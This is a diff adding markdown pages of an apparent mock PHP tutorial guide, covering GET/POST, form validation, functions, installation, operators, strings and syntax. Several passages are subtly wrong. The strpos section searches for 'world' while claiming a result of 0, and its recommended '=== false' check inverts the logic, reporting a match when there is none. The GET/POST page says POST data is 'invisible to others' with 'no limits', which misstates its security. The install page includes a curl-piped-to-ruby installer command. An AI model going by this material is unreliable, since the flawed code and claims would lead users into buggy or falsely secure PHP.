<add>$_POST is an array of variables passed to the current script via the HTTP POST method.
<add>
<add>### When to use GET?
<add>
<add>Information sent from a form with the GET method is visible to everyone (all variable names and values are displayed in the URL). GET also has limits on the amount of information to send. The limitation is about 2000 characters. However, because the variables are displayed in the URL, it is possible to bookmark the page. This can be useful in some cases.
<add>
<add>GET may be used for sending non-sensitive data.
<add>
<add>**Note:** GET should NEVER be used for sending passwords or other sensitive information!
<add>
<add>### When to use POST?
<add>
<add>Information sent from a form with the POST method is **invisible to others** (all names/values are embedded within the body of the HTTP request) and has **no limits** on the amount of information to send.
<add>
<add>Moreover POST supports advanced functionality such as support for multi-part binary input while uploading files to server.
<add>
<add>However, because the variables are not displayed in the URL, it is not possible to bookmark the page.
<add>
<add>> **Developers prefer POST for sending form data.**
<ide><path>mock-guide/english/php/php-form-required/index.md
<add>---
<add>title: PHP 5 Forms - Required Fields
<add>---
<add>
<add>This chapter shows how to make input fields required and create error messages if needed.
<add>
<add>### PHP - Required Fields
<add>
<add>From the validation rules table on the previous page, we see that the "Name", "E-mail", and "Gender" fields are required. These fields cannot be empty and must be filled out in the HTML form.
<add>
<add>|Field |Validation Rules|
<add>|---|---|
<add>|Name |Required. + Must only contain letters and whitespace|
<add>|E-mail |Required. + Must contain a valid email address (with @ and .)|
<add>|Website |Optional. If present, it must contain a valid URL|
<add>|Comment |Optional. Multi-line input field (textarea)|
<add>|Gender |Required. Must select one|
<add>
<add>In the previous chapter, all input fields were optional.
<add>
<add>In the following code we have added some new variables: $nameErr, $emailErr, $genderErr, and $websiteErr. These error variables will hold error messages for the required fields. We have also added an if else statement for each $_POST variable. This checks if the $_POST variable is empty (with the PHP empty() function). If it is empty, an error message is stored in the different error variables, and if it is not empty, it sends the user input data through the test_input() function:
<add>
<add>```php
<add><?php
<add>// define variables and set to empty values
<add>$nameErr = $emailErr = $genderErr = $websiteErr = "";
<add>$name = $email = $gender = $comment = $website = "";
<add>
<add>if ($_SERVER["REQUEST_METHOD"] == "POST") {
<add> if (empty($_POST["name"])) {
<add> $nameErr = "Name is required";
<add> } else {
<add> $name = test_input($_POST["name"]);
<add> }
<add>
<add> if (empty($_POST["email"])) {
<add> $emailErr = "Email is required";
<add> } else {
<add> $email = test_input($_POST["email"]);
<add> }
<add>
<add> if (empty($_POST["website"])) {
<add> $website = "";
<add> } else {
<add> $website = test_input($_POST["website"]);
<add> }
<add>
<add> if (empty($_POST["comment"])) {
<add> $comment = "";
<add> } else {
<add> $comment = test_input($_POST["comment"]);
<add> }
<add>
<add> if (empty($_POST["gender"])) {
<add> $genderErr = "Gender is required";
<add> } else {
<add> $gender = test_input($_POST["gender"]);
<add> }
<add>}
<add>?>
<add>```
<add>
<add>### PHP - Display The Error Messages
<add>
<add>Then in the HTML form, we add a little script after each required field, which generates the correct error message if needed (that is if the user tries to submit the form without filling out the required fields):
<add>
<add>#### Example
<add>```php
<add><form method="post" action="<?php echo htmlspecialchars($_SERVER["PHP_SELF"]);?>">
<add>
<add>Name: <input type="text" name="name">
<add><span class="error">* <?php echo $nameErr;?></span>
<add><br><br>
<add>E-mail:
<add><input type="text" name="email">
<add><span class="error">* <?php echo $emailErr;?></span>
<add><br><br>
<add>Website:
<add><input type="text" name="website">
<add><span class="error"><?php echo $websiteErr;?></span>
<add><br><br>
<add>Comment: <textarea name="comment" rows="5" cols="40"></textarea>
<add><br><br>
<add>Gender:
<add><input type="radio" name="gender" value="female">Female
<add><input type="radio" name="gender" value="male">Male
<add><span class="error">* <?php echo $genderErr;?></span>
<add><br><br>
<add><input type="submit" name="submit" value="Submit">
<add>
<add></form>
<add>```
<add>
<add>The next step is to validate the input data, that is "Does the Name field contain only letters and whitespace?", and "Does the E-mail field contain a valid e-mail address syntax?", and if filled out, "Does the Website field contain a valid URL?".
<ide><path>mock-guide/english/php/php-forms-url-email/index.md
<add>---
<add>title: PHP 5 Forms - Validate E-mail and URL
<add>---
<add>
<add>This chapter shows how to validate names, e-mails, and URLs.
<add>
<add>### PHP - Validate Name
<add>
<add>The code below shows a simple way to check if the name field only contains letters and whitespace. If the value of the name field is not valid, then store an error message:
<add>
<add>```php
<add>$name = test_input($_POST["name"]);
<add>if (!preg_match("/^[a-zA-Z ]*$/",$name)) {
<add> $nameErr = "Only letters and white space allowed";
<add>}
<add>```
<add>> **The preg_match() function searches a string for pattern, returning true if the pattern exists, and false otherwise.**
<add>
<add>### PHP - Validate E-mail
<add>
<add>The easiest and safest way to check whether an email address is well-formed is to use PHP's filter_var() function.
<add>
<add>In the code below, if the e-mail address is not well-formed, then store an error message:
<add>
<add>```php
<add>$email = test_input($_POST["email"]);
<add>if (!filter_var($email, FILTER_VALIDATE_EMAIL)) {
<add> $emailErr = "Invalid email format";
<add>}
<add>```
<add>
<add>### PHP - Validate URL
<add>
<add>The code below shows a way to check if a URL address syntax is valid (this regular expression also allows dashes in the URL). If the URL address syntax is not valid, then store an error message:
<add>
<add>```php
<add>$website = test_input($_POST["website"]);
<add>if (!preg_match("/\b(?:(?:https?|ftp):\/\/|www\.)[-a-z0-9+&@#\/%?=~_|!:,.;]*[-a-z0-9+&@#\/%=~_|]/i",$website)) {
<add> $websiteErr = "Invalid URL";
<add>}
<add>```
<add>
<add>### PHP - Validate Name, E-mail, and URL
<add>
<add>Now, the script looks like this:
<add>
<add>#### Example
<add>```php
<add><?php
<add>// define variables and set to empty values
<add>$nameErr = $emailErr = $genderErr = $websiteErr = "";
<add>$name = $email = $gender = $comment = $website = "";
<add>
<add>if ($_SERVER["REQUEST_METHOD"] == "POST") {
<add> if (empty($_POST["name"])) {
<add> $nameErr = "Name is required";
<add> } else {
<add> $name = test_input($_POST["name"]);
<add> // check if name only contains letters and whitespace
<add> if (!preg_match("/^[a-zA-Z ]*$/",$name)) {
<add> $nameErr = "Only letters and white space allowed";
<add> }
<add> }
<add>
<add> if (empty($_POST["email"])) {
<add> $emailErr = "Email is required";
<add> } else {
<add> $email = test_input($_POST["email"]);
<add> // check if e-mail address is well-formed
<add> if (!filter_var($email, FILTER_VALIDATE_EMAIL)) {
<add> $emailErr = "Invalid email format";
<add> }
<add> }
<add>
<add> if (empty($_POST["website"])) {
<add> $website = "";
<add> } else {
<add> $website = test_input($_POST["website"]);
<add> // check if URL address syntax is valid (this regular expression also allows dashes in the URL)
<add> if (!preg_match("/\b(?:(?:https?|ftp):\/\/|www\.)[-a-z0-9+&@#\/%?=~_|!:,.;]*[-a-z0-9+&@#\/%=~_|]/i",$website)) {
<add> $websiteErr = "Invalid URL";
<add> }
<add> }
<add>
<add> if (empty($_POST["comment"])) {
<add> $comment = "";
<add> } else {
<add> $comment = test_input($_POST["comment"]);
<add> }
<add>
<add> if (empty($_POST["gender"])) {
<add> $genderErr = "Gender is required";
<add> } else {
<add> $gender = test_input($_POST["gender"]);
<add> }
<add>}
<add>?>
<add>```
<ide><path>mock-guide/english/php/php-functions/index.md
<add>---
<add>title: PHP functions
<add>---
<add>
<add>PHP functions are similar to other programming languages. A function is a piece of code which takes one more input in the form of parameter and does some processing and returns a value.
<add>
<add>You already have seen many functions like fopen() and fread() etc. They are built-in functions but PHP gives you option to create your own functions as well.
<add>
<add>There are two parts which should be clear to you −
<add>
<add>### Creating a PHP Function
<add>Calling a PHP Function
<add>In fact you hardly need to create your own PHP function because there are already more than 1000 of built-in library functions created for different area and you just need to call them according to your requirement.
<add>
<add>Please refer to PHP Function Reference for a complete set of useful functions.
<add>
<add>Creating PHP Function
<add>Its very easy to create your own PHP function. Suppose you want to create a PHP function which will simply write a simple message on your browser when you will call it. Following example creates a function called writeMessage() and then calls it just after creating it.
<add>
<add>Note that while creating a function its name should start with keyword function and all the PHP code should be put inside { and } braces as shown in the following example below −
<add>
<add>```
<add><html>
<add>
<add> <head>
<add> <title>Writing PHP Function</title>
<add> </head>
<add>
<add> <body>
<add>
<add> <?php
<add> /* Defining a PHP Function */
<add> function writeMessage() {
<add> echo "You are really a nice person, Have a nice time!";
<add> }
<add>
<add> /* Calling a PHP Function */
<add> writeMessage();
<add> ?>
<add>
<add> </body>
<add></html>
<add>```
<add>
<add>This will display following result −
<add>
<add>```
<add>You are really a nice person, Have a nice time!
<add>```
<add>
<add>### PHP Functions with Parameters
<add>PHP gives you option to pass your parameters inside a function. You can pass as many as parameters your like. These parameters work like variables inside your function. Following example takes two integer parameters and add them together and then print them.
<add>
<add>```
<add><html>
<add>
<add> <head>
<add> <title>Writing PHP Function with Parameters</title>
<add> </head>
<add>
<add> <body>
<add>
<add> <?php
<add> function addFunction($num1, $num2) {
<add> $sum = $num1 + $num2;
<add> echo "Sum of the two numbers is : $sum";
<add> }
<add>
<add> addFunction(10, 20);
<add> ?>
<add>
<add> </body>
<add></html>
<add>```
<add>
<add>This will display following result −
<add>
<add>```
<add>Sum of the two numbers is : 30
<add>```
<add>
<add>### Passing Arguments by Reference
<add>It is possible to pass arguments to functions by reference. This means that a reference to the variable is manipulated by the function rather than a copy of the variable's value.
<add>
<add>Any changes made to an argument in these cases will change the value of the original variable. You can pass an argument by reference by adding an ampersand to the variable name in either the function call or the function definition.
<add>
<add>Following example depicts both the cases.
<add>
<add>```
<add><html>
<add>
<add> <head>
<add> <title>Passing Argument by Reference</title>
<add> </head>
<add>
<add> <body>
<add>
<add> <?php
<add> function addFive($num) {
<add> $num += 5;
<add> }
<add>
<add> function addSix(&$num) {
<add> $num += 6;
<add> }
<add>
<add> $orignum = 10;
<add> addFive( $orignum );
<add>
<add> echo "Original Value is $orignum<br />";
<add>
<add> addSix( $orignum );
<add> echo "Original Value is $orignum<br />";
<add> ?>
<add>
<add> </body>
<add></html>
<add>```
<add>
<add>This will display following result −
<add>
<add>```
<add>Original Value is 10
<add>Original Value is 16
<add>```
<add>
<add>### PHP Functions returning value
<add>A function can return a value using the return statement in conjunction with a value or object. return stops the execution of the function and sends the value back to the calling code.
<add>
<add>You can return more than one value from a function using return array(1,2,3,4).
<add>
<add>Following example takes two integer parameters and add them together and then returns their sum to the calling program. Note that return keyword is used to return a value from a function.
<add>
<add>```
<add><html>
<add>
<add> <head>
<add> <title>Writing PHP Function which returns value</title>
<add> </head>
<add>
<add> <body>
<add>
<add> <?php
<add> function addFunction($num1, $num2) {
<add> $sum = $num1 + $num2;
<add> return $sum;
<add> }
<add> $return_value = addFunction(10, 20);
<add>
<add> echo "Returned value from the function : $return_value";
<add> ?>
<add>
<add> </body>
<add></html>
<add>```
<add>
<add>This will display following result −
<add>
<add>```
<add>Returned value from the function : 30
<add>```
<add>
<add>### Setting Default Values for Function Parameters
<add>You can set a parameter to have a default value if the function's caller doesn't pass it.
<add>
<add>Following function prints NULL in case use does not pass any value to this function.
<add>
<add>```
<add><html>
<add>
<add> <head>
<add> <title>Writing PHP Function which returns value</title>
<add> </head>
<add>
<add> <body>
<add>
<add> <?php
<add> function printMe($param = NULL) {
<add> print $param;
<add> }
<add>
<add> printMe("This is test");
<add> printMe();
<add> ?>
<add>
<add> </body>
<add></html>
<add>```
<add>
<add>This will produce following result −
<add>
<add>```
<add>This is test
<add>```
<add>
<add>### Dynamic Function Calls
<add>It is possible to assign function names as strings to variables and then treat these variables exactly as you would the function name itself. Following example depicts this behaviour.
<add>
<add>```
<add><html>
<add>
<add> <head>
<add> <title>Dynamic Function Calls</title>
<add> </head>
<add>
<add> <body>
<add>
<add> <?php
<add> function sayHello() {
<add> echo "Hello<br />";
<add> }
<add>
<add> $function_holder = "sayHello";
<add> $function_holder();
<add> ?>
<add>
<add> </body>
<add></html>
<add>```
<add>
<add>This will display following result −
<add>
<add>```
<add>Hello
<add>```
<ide><path>mock-guide/english/php/php-install/index.md
<add>---
<add>title: PHP Install
<add>---
<add>
<add>## What Do I Need for Installation?
<add>
<add>Any computer! PHP is very versatile and can run in many different environments.
<add>
<add>### Manual Install:
<add>
<add>#### Windows
<add>1. Download the zip from [windows.php.net/download](https://windows.php.net/download#php-7.2) and unzip it (ex `C:\PHP`)
<add>2. Add php to the windows PATH (for example append `;C:\PHP`)
<add>3. Copy and rename either `php.ini - development` or `php.ini - production` to `php.ini`
<add>
<add>If you are using IIS for your webserver, this is a good resource:
<add>
<add>- [Microsoft Docs - Windows installation and integration with IIS](https://docs.microsoft.com/en-us/iis/application-frameworks/scenario-build-a-php-website-on-iis/configuring-step-1-install-iis-and-php#12)
<add>
<add>#### MacOS
<add>_Type the commands in a terminal_
<add>1. Install homebrew `/usr/bin/ruby -e "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install)"`
<add>2. Install php `brew install php`
<add>
<add>#### Linux
<add>This varies a bit with each distribution
<add>
<add>- _debian/ubuntu_ `sudo apt-get install php -y`
<add>- _fedora/rhl/centos_ `dnf install php php-common`
<add>
<add>There are many good resources for this, like:
<add>
<add>- [TecMint - install the LAMP stack on Fedora](https://www.tecmint.com/install-lamp-apache-mariadb-and-php-on-fedora-23/)
<add>- [Digital Ocean - How to install the LEMP stack on Ubuntu](https://www.digitalocean.com/community/tutorials/how-to-install-linux-nginx-mysql-php-lemp-stack-ubuntu-18-04)
<add>
<add>### Install Bundles
<add>There are also several popular install bundles for PHP technology stacks which are multi-platform.
<add>- [XAMPP Installer - Apache Server, MariaDB, PHP, and Perl](https://www.apachefriends.org/index.html) _window, linux, macOS_
<add>- [MAMP Webserver](https://www.mamp.info) _windows, macOS_
<add>- [WAMP Server](http://www.wampserver.com/en/) _windows_
<add>
<add>### Find a webhost with free PHP services.
<add>It is [common](https://www.google.com/search?q=free+php+web+hosting) for free webhosting services to offer support for PHP.
<add>
<add>## Once PHP is installed:
<add>If you installed PHP with a webserver, often a default route is set for `localhost/info.php` or `127.0.0.1/info.php`. If PHP has been integrated properly, it should display a description of the current PHP installation. If your server will be public, you should delete `info.php` as it contains private details about your installation, system.
<add>
<add>If you did not install PHP with a webserver, several tools integrate well with the library for the ability to locally run, debug, host your PHP scripts and applications. [VS Code's](https://code.visualstudio.com/) extension [PHP Server](https://marketplace.visualstudio.com/items?itemName=brapifra.phpserver) allows your to develop and host locally.
<add>
<add>## Resources
<add>- The official PHP website (PHP.net) has installation instructions for PHP: http://php.net/manual/en/install.php
<ide><path>mock-guide/english/php/php-keywords/index.md
<add>---
<add>title: PHP Keywords
<add>---
<add>## PHP Keywords
<add>
<add>This is a stub. <a href='https://github.com/freecodecamp/guides/tree/master/src/pages/php/php-keywords/index.md' target='_blank' rel='nofollow'>Help our community expand it</a>.
<add>
<add><a href='https://github.com/freecodecamp/guides/blob/master/README.md' target='_blank' rel='nofollow'>This quick style guide will help ensure your pull request gets accepted</a>.
<add>
<add><!-- The article goes here, in GitHub-flavored Markdown. Feel free to add YouTube videos, images, and CodePen/JSBin embeds -->
<add>
<add>#### More Information:
<add><!-- Please add any articles you think might be helpful to read before writing the article -->
<ide><path>mock-guide/english/php/php-operators/index.md
<add>---
<add>title: PHP Operators
<add>---
<add>## PHP Operators
<add>
<add><p>Operators are used to perform operations on variables and values.</p>
<add><p>PHP divides the operators in the following groups:</p>
<add><ul>
<add> <li>Arithmetic operators</li>
<add> <li>Assignment operators</li>
<add> <li>Comparison operators</li>
<add> <li>Increment/Decrement operators</li>
<add> <li>Logical operators</li>
<add> <li>String operators</li>
<add> <li>Array operators</li>
<add></ul>
<add><h3>PHP Arithmetic Operators</h3>
<add><p>The PHP arithmetic operators are used with numeric values to perform common arithmetical operations, such as addition, subtraction, multiplication etc.</p>
<add><table>
<add> <tr>
<add> <th>Operator</th>
<add> <th>Name</th>
<add> <th>Example</th>
<add> <th>Result</th>
<add> </tr>
<add> <tr>
<add> <td>+</td>
<add> <td>Addition</td>
<add> <td>$a + $b</td>
<add> <td>Sum of $a and $b</td>
<add> </tr>
<add> <tr>
<add> <td>-</td>
<add> <td>Subtraction</td>
<add> <td>$a - $b</td>
<add> <td>Difference of $a and $b</td>
<add> </tr>
<add> <tr>
<add> <td>*</td>
<add> <td>Multiplication</td>
<add> <td>$a * $b</td>
<add> <td>Product of $a and $b</td>
<add> </tr>
<add>
<add> <tr>
<add> <td>/</td>
<add> <td>Division</td>
<add> <td>$a / $b</td>
<add> <td>Quotient of $a and $b</td>
<add> </tr>
<add> <tr>
<add> <td>%</td>
<add> <td>Modulus</td>
<add> <td>$a % $b</td>
<add> <td>Remainder of $a divided by $b</td>
<add> </tr>
<add> <tr>
<add> <td>**</td>
<add> <td>Exponentiation</td>
<add> <td>$a ** $b</td>
<add> <td>Result of raising $a to the $b'th power </td>
<add> </tr>
<add></table>
<add>
<add>### PHP Assignment Operators
<add>
<add>The assignment operator is `=`. The operand on the left side gets assigned the value of the expression on the right.
<add>
<add>#### Example
<add>
<add>```php
<add><?php
<add>
<add> $a = 7; // $a set to 7.
<add>
<add> ?>
<add>```
<add>
<add><!-- The article goes here, in GitHub-flavored Markdown. Feel free to add YouTube videos, images, and CodePen/JSBin embeds -->
<add>
<add>#### More Information:
<add>- <a href='http://php.net/manual/en/language.operators.arithmetic.php' target='_blank' rel='nofollow'>Arithmetic Operators</a></li>
<add>- <a href='http://php.net/manual/en/language.operators.assignment.php' target='_blank' rel='nofollow'>Assignment Operators</a></li>
<add>
<ide><path>mock-guide/english/php/php-strings/index.md
<add>---
<add>title: PHP strings
<add>---
<add>
<add>They are sequences of characters, like "PHP supports string operations".
<add>
<add>NOTE − Built-in string functions is given in function reference PHP String Functions
<add>
<add>Following are valid examples of string
<add>
<add>$string_1 = "This is a string in double quotes";
<add>$string_2 = "This is a somewhat longer, singly quoted string";
<add>$string_39 = "This string has thirty-nine characters";
<add>$string_0 = ""; // a string with zero characters
<add>Singly quoted strings are treated almost literally, whereas doubly quoted strings replace variables with their values as well as specially interpreting certain character sequences.
<add>
<add>```
<add><?php
<add> $variable = "name";
<add> $literally = 'My $variable will not print!\\n';
<add>
<add> print($literally);
<add> print "<br />";
<add>
<add> $literally = "My $variable will print!\\n";
<add>
<add> print($literally);
<add>```
<add>
<add>This will produce the following result −
<add>
<add>```
<add>My $variable will not print!\n
<add>My name will print
<add>```
<add>
<add>There are no artificial limits on string length - within the bounds of available memory, you ought to be able to make arbitrarily long strings.
<add>
<add>Strings that are delimited by double quotes (as in "this") are preprocessed in both the following two ways by PHP −
<add>
<add>Certain character sequences beginning with backslash (\) are replaced with special characters
<add>
<add>Variable names (starting with $) are replaced with string representations of their values.
<add>
<add>The escape-sequence replacements are −
<add>
<add>\n is replaced by the newline character
<add>\r is replaced by the carriage-return character
<add>\t is replaced by the tab character
<add>\$ is replaced by the dollar sign itself ($)
<add>\" is replaced by a single double-quote (")
<add>\\ is replaced by a single backslash (\)
<add>
<add>### String Concatenation Operator
<add>To concatenate two string variables together, use the dot (.) operator −
<add>
<add>```
<add><?php
<add> $string1="Hello World";
<add> $string2="1234";
<add>
<add> echo $string1 . " " . $string2;
<add>```
<add>
<add>This will produce the following result −
<add>
<add>```
<add>Hello World 1234
<add>```
<add>
<add>If we look at the code above you see that we used the concatenation operator two times. This is because we had to insert a third string.
<add>
<add>Between the two string variables we added a string with a single character, an empty space, to separate the two variables.
<add>
<add>### Using the strlen() function
<add>The strlen() function is used to find the length of a string.
<add>
<add>Let's find the length of our string "Hello world!":
<add>
<add>```
<add><?php
<add> echo strlen("Hello world!");
<add>```
<add>
<add>This will produce the following result −
<add>
<add>```
<add>12
<add>```
<add>
<add>The length of a string is often used in loops or other functions, when it is important to know when the string ends. (i.e. in a loop, we would want to stop the loop after the last character in the string)
<add>
<add>### Using the strpos() function
<add>The strpos() function is used to search for a string or character within a string.
<add>
<add>If a match is found in the string, this function will return the position of the first match. If no match is found, it will return FALSE. For this reason, it is important to always perform a strict comparison (===) to determine if a match is present.
<add>
<add>Let's see if we can find the string "world" in our string −
<add>
<add>```
<add><?php
<add> echo strpos("Hello world!","world");
<add>```
<add>
<add>This will produce the following result −
<add>
<add>```
<add> 6
<add>```
<add>
<add>As you see the position of the string "world" in our string is position 6. The reason that it is 6, and not 7, is that the first position in the string is 0, and not 1.
<add>
<add>Let's see if we can find the string "Hello" in our string -
<add>
<add>```
<add><?php
<add> echo strpos("Hello world!", "world");
<add>```
<add>
<add>This will produce the following result -
<add>
<add>```
<add>0
<add>```
<add>
<add>At first, this seems harmless, but let's take a look at another example -
<add>
<add>```
<add><?php
<add> if (strpos("Hello world!", "Hello")) {
<add> echo 'The substring was found!';
<add> } else {
<add> echo 'The substring was not found...';
<add> }
<add>```
<add>
<add>Since this equates to '0', or falsy, this will produce the following result -
<add>
<add>```
<add> The substring was not found...
<add>```
<add>
<add>Instead, the following should always be used when using strpos() -
<add>
<add>```
<add><?php
<add> if (strpos("Hello world!", "Hello") === false) {
<add> echo 'The substring was found!';
<add> } else {
<add> echo 'The substring was not found...';
<add> }
<add>```
<add>
<add>This will produce the following result -
<add>
<add>```
<add> The substring was found!
<add>```
<add>### Using the explode() function
<add>The explode() function is used to split a string into an array of substrings based on a string delimiter.
<add>The function accepts 3 parameters. A string delimiter, the string to be 'exploded', and an optional integer limit.
<add> If the limit is positive, the function will return a maximum number of substrings equal to the limit. The last substring being the remainder of the string.
<add> If the limit is 0, it is treated like 1.
<add> If the limit is negative, all substrings except the last negative limit are returned.
<add> Example:
<add> ```
<add><?php
<add> $s = 'a|b|c|d';
<add> print_r(explode('|', $s));
<add>
<add> print_r(explode('|', $s, 3));
<add>
<add> print_r(explode('|', $s, -1));
<add>?>
<add>```
<add> Result:
<add> ```
<add>Array
<add>(
<add> [0] => a
<add> [1] => b
<add> [2] => c
<add> [3] => d
<add>)
<add> Array
<add>(
<add> [0] => a
<add> [1] => b
<add> [2] => c|d
<add>)
<add> Array
<add>(
<add> [0] => a
<add> [1] => b
<add> [2] => c
<add>)
<add>```
<ide><path>mock-guide/english/php/php-syntax-and-comments/index.md
<add>---
<add>title: PHP Syntax and Comments
<add>---
<add>
<add>## PHP Syntax
<add>
<add>The structure of a PHP document may look something like:
<add>
<add>```php
<add><?php
<add>
<add>// Your PHP code goes here.
<add>```
<add>
<add>**NOTE:** When creating a document with only PHP, the closing tags (see below) should be omitted.
<add>
<add>When placing PHP in an HTML document, a closing tag is needed, like so:
<add>
<add>```php
<add><?php
<add>
<add>// Your PHP code goes here.
<add>
<add>?>
<add>```
<add>
<add>**NOTE:** Shorthand syntax is also available, but should be avoided to reduce unwanted behavior.
<add>
<add>A PHP file may have HTML tags and / or JavaScript.
<add>
<add>The default file extension for PHP files is `.php`.
<add>
<add>## Indentation
<add>
<add>While this is mostly personal preference, it is most common to see the lines within the <?php / ?> tags at the same level, like so:
<add>
<add>```php
<add><?php
<add>
<add>// Same level of indendation.
<add> // Not indented like so.
<add>```
<add>
<add>## How to make comments in PHP?
<add>
<add>A comment in PHP code is a line that is not executed as part of the program. Its only purpose is to be read by someone who is looking at the code.
<add>
<add>In PHP, comments can be make by two ways — either single-lined or multi-lined.
<add>
<add>This can be seen in the example below:
<add>
<add>```php
<add><?
<add>
<add>// This is a single-lined comment.
<add>
<add>/**
<add> * This is a multi-lined comment block
<add> * that spans over multiple
<add> * lines.
<add> */
<add>```
<add>
<add>## Additional Information
<add>
<add>For more information, please see [PHP: Comments](http://php.net/manual/en/language.basic-syntax.comments.php).
<ide><path>mock-guide/english/php/php-syntax-overview/index.md
<add>---
<add>title: PHP Syntax Overview
<add>---
<add>
<add>This chapter will give you an idea of very basic syntax of PHP and very important to make your PHP foundation strong.
<add>
<add>### Escaping to PHP
<add>The PHP parsing engine needs a way to differentiate PHP code from other elements in the page. The mechanism for doing so is known as 'escaping to PHP'. There are four ways to do this −
<add>
<add>#### Canonical PHP tags
<add>The most universally effective PHP tag style is −
<add>
<add>```
<add><?php...?>
<add>```
<add>
<add>If you use this style, you can be positive that your tags will always be correctly interpreted.
<add>
<add>#### Short-open (SGML-style) tags
<add>Short or short-open tags look like this −
<add>
<add>```
<add><?...?>
<add>```
<add>
<add>Short tags are, as one might expect, the shortest option You must do one of two things to enable PHP to recognize the tags −
<add>
<add>Choose the --enable-short-tags configuration option when you're building PHP.
<add>
<add>Set the short_open_tag setting in your php.ini file to on. This option must be disabled to parse XML with PHP because the same syntax is used for XML tags.
<add>
<add>#### ASP-style tags
<add>ASP-style tags mimic the tags used by Active Server Pages to delineate code blocks. ASP-style tags look like this −
<add>
<add>```
<add><%...%>
<add>```
<add>
<add>To use ASP-style tags, you will need to set the configuration option in your php.ini file.
<add>
<add>#### HTML script tags
<add>HTML script tags look like this −
<add>
<add>```
<add><script language="PHP">...</script>
<add>```
<add>
<add>### Commenting PHP Code
<add>A comment is the portion of a program that exists only for the human reader and stripped out before displaying the programs result. There are two commenting formats in PHP −
<add>
<add>#### Single-line comments −
<add> They are generally used for short explanations or notes relevant to the local code. Here are the examples of single line comments.
<add>
<add> ```
<add><?
<add> # This is a comment, and
<add> # This is the second line of the comment
<add>
<add> // This is a comment too. Each style comments only
<add> print "An example with single line comments";
<add>?>
<add>```
<add>
<add>#### Multi-lines printing −
<add> Here are the examples to print multiple lines in a single print statement −
<add>
<add> ```
<add><?
<add> # First Example
<add> print <<<END
<add> This uses the "here document" syntax to output
<add> multiple lines with $variable interpolation. Note
<add> that the here document terminator must appear on a
<add> line with just a semicolon no extra whitespace!
<add> END;
<add>
<add> # Second Example
<add> print "This spans
<add> multiple lines. The newlines will be
<add> output as well";
<add>?>
<add>```
<add>
<add>#### Multi-lines comments −
<add> They are generally used to provide pseudocode algorithms and more detailed explanations when necessary. The multiline style of commenting is the same as in C. Here are the example of multi lines comments.
<add>
<add>```
<add><?
<add> /* This is a comment with multiline
<add> Author : Mohammad Mohtashim
<add> Purpose: Multiline Comments Demo
<add> Subject: PHP
<add> */
<add>
<add> print "An example with multi line comments";
<add>?>
<add>```
<add>
<add>### PHP is whitespace insensitive
<add>Whitespace is the stuff you type that is typically invisible on the screen, including spaces, tabs, and carriage returns (end-of-line characters).
<add>
<add>PHP whitespace insensitive means that it almost never matters how many whitespace characters you have in a row.one whitespace character is the same as many such characters.
<add>
<add>For example, each of the following PHP statements that assigns the sum of 2 + 2 to the variable $four is equivalent −
<add>
<add>```
<add>$four = 2 + 2; // single spaces
<add>$four <tab>=<tab2<tab>+<tab>2 ; // spaces and tabs
<add>$four =
<add>2+
<add>2; // multiple lines
<add>```
<add>
<add>### PHP is case sensitive
<add>Yeah it is true that PHP is a case sensitive language. Try out following example −
<add>
<add>```
<add><html>
<add> <body>
<add>
<add> <?php
<add> $capital = 67;
<add> print("Variable capital is $capital<br>");
<add> print("Variable CaPiTaL is $CaPiTaL<br>");
<add> ?>
<add>
<add> </body>
<add></html>
<add>```
<add>
<add>This will produce the following result −
<add>
<add>```
<add>Variable capital is 67
<add>Variable CaPiTaL is
<add>```
<add>
<add>### Statements are expressions terminated by semicolons
<add>A statement in PHP is any expression that is followed by a semicolon (;).Any sequence of valid PHP statements that is enclosed by the PHP tags is a valid PHP program. Here is a typical statement in PHP, which in this case assigns a string of characters to a variable called $greeting −
<add>
<add>```
<add>$greeting = "Welcome to PHP!";
<add>```
<add>
<add>### Expressions are combinations of tokens
<add>The smallest building blocks of PHP are the indivisible tokens, such as numbers (3.14159), strings (.two.), variables ($two), constants (TRUE), and the special words that make up the syntax of PHP itself like if, else, while, for and so forth
<add>
<add>### Braces make blocks
<add>Although statements cannot be combined like expressions, you can always put a sequence of statements anywhere a statement can go by enclosing them in a set of curly braces.
<add>
<add>Here both statements are equivalent −
<add>
<add>```
<add>if (3 == 2 + 1)
<add> print("Good - I haven't totally lost my mind.<br>");
<add>
<add>if (3 == 2 + 1) {
<add> print("Good - I haven't totally");
<add> print("lost my mind.<br>");
<add>}
<add>```
<add>
<add>### Running PHP Script from Command Prompt
<add>Yes you can run your PHP script on your command prompt. Assuming you have following content in test.php file
<add>
<add>```
<add><?php
<add> echo "Hello PHP!!!!!";
<add>?>
<add>```
<add>
<add>Now run this script as command prompt as follows −
<add>
<add>```
<add>$ php test.php
<add>```
<add>
<add>It will produce the following result −
<add>
<add>```
<add>Hello PHP!!!!!
<add>```
<add>
<add>Hope now you have basic knowledge of PHP Syntax.
<ide><path>mock-guide/english/php/php-syntax/index.md
<add>---
<add>title: PHP Syntax
<add>---
<add>
<add># Basic PHP Syntax
<add>
<add>### Start
<add>All PHP files are saved by the extension ` .php `. PHP scripts can be added anywhere in the document. A PHP script starts with ` <?php ` and ends with ` ?> `.
<add>
<add>` <?php //PHP code goes here ?> `
<add>
<add>### Print
<add>To print any statement in PHP we use `echo` command.
<add>
<add>#### Code sample
<add>```php
<add><!DOCTYPE html>
<add><html>
<add><body>
<add>
<add><h1>My first PHP page</h1>
<add>
<add><?php
<add>echo "Hello World!";
<add>?>
<add>
<add></body>
<add></html>
<add>```
<add>##### NOTE: PHP statements ends with semicolon `;`
<add>
<add>### Declaring Variables
<add>We declare variables in PHP by adding dollar `$` sign before them.
<add>```php
<add><?php
<add>$x = 5;
<add>echo $x;
<add>?>
<add>```
<add>
<add>### Comments in PHP
<add>To write a single line comment in PHP we put hashtag `#` or by putting `//` before the comment.
<add>
<add>```php
<add><?php
<add># This is a single line comment
<add>// This is also a single line comment
<add>?>
<add>```
<add>
<add>To write a multiple line comment we start the comment with `/*` and end with `*/`.
<add>```php
<add><?php
<add>/* This is a
<add>Multiple line comment. */
<add>?>
<add>```
<add>We can also comment out some parts of the code line.
<add>
<add>#### Code Sample
<add>```php
<add><!DOCTYPE html>
<add><html>
<add><body>
<add>
<add><?php
<add>// You can also use comments to leave out parts of a code line
<add>$x = 5 /* + 15 */ + 5;
<add>echo $x;
<add>?>
<add>
<add></body>
<add></html>
<add>```
<add>
<add>You can see more about this on [PHP Manual](http://php.net/manual/en/)
<ide><path>mock-guide/english/php/php-tags/index.md
<add>---
<add>title: PHP tags
<add>---
<add>
